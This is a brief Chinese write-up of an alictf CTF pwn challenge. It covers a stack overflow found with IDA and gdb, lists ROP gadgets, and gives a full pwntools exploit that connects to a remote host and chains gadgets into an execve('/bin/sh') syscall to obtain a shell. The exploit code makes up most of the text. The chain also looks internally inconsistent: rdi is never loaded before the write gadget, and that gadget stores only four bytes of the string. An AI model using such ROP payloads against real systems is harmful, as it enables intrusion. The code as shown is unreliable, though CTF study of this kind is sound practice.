当程序开启了nx,但程序有syscall调用的时候。这时栈溢出的利用就可以通过rop来执行syscall的59号调用execve('/bin/sh',null,null),这是这次alictf一道pwn的心得。
ida配合gdb定位程序漏洞如下:
signed __int64 __fastcall sub_40108E(__int64 a1) { signed __int64 result; // rax@3 __int64 v2; // rdx@4 int v3; // [sp+10h] [bp-40h]@1 __int64 v4; // [sp+20h] [bp-30h]@1 __int64 v5; // [sp+28h] [bp-28h]@1 __int64 v6; // [sp+30h] [bp-20h]@1 __int64 v7; // [sp+38h] [bp-18h]@1 __int64 v8; // [sp+40h] [bp-10h]@1 unsigned int v9; // [sp+48h] [bp-8h]@7 int v10; // [sp+4Ch] [bp-4h]@4 v4 = 0LL; v5 = 0LL; v6 = 0LL; v7 = 0LL; v8 = 0LL; v3 = 0; sub_400330((__int64)&v3, a1, 80LL); // 处理输入,首字母py绕过登陆检测,80字节的最后8字节控制ret if ( (_BYTE)v3 != 112 || BYTE1(v3) != 121 )
通过Ropgadget找到构造syscall的rop链如下:
0x46f208 : pop rax;ret 0x401823: pop rdi;ret 0x462873: pop rcx;ret 0x422568: mov dword ptr [rdi], ecx ; ret 0x46f205 : add rsp 0x58 ret 0x43ae29: pop rdx;pop rsi;ret 0x45f2a5: syscall;ret
利用代码:
from pwn import * #io=process('./vss') io=remote('114.55.103.213',2333) praxret=0x46f208 prdiret=0x401823 prcxret=0x0000000000462873 # pop rcx ret movrdircx = 0x422568 addespret=0x46f205 #add rsp 0x58 ret prdxrsiret=0x43ae29 syscallret=0x45f2a5 pay='py'+'a'*70 pay+=p64(addespret)+'a'*8 #add rsp 0x58;ret pay+=p64(praxret)+p64(59) #pop rax;ret pay+=p64(prcxret)+'/bin/sh\x00'+p64(movrdircx) #pop rcx;ret;mov dword ptr [rdi], ecx ; ret pay+=p64(prdxrsiret)+p64(0)+p64(0) #pop rdx;pop rsi;ret pay+=p64(syscallret) #syscall;ret io.recvuntil('Password:\n') io.sendline(pay) io.interactive()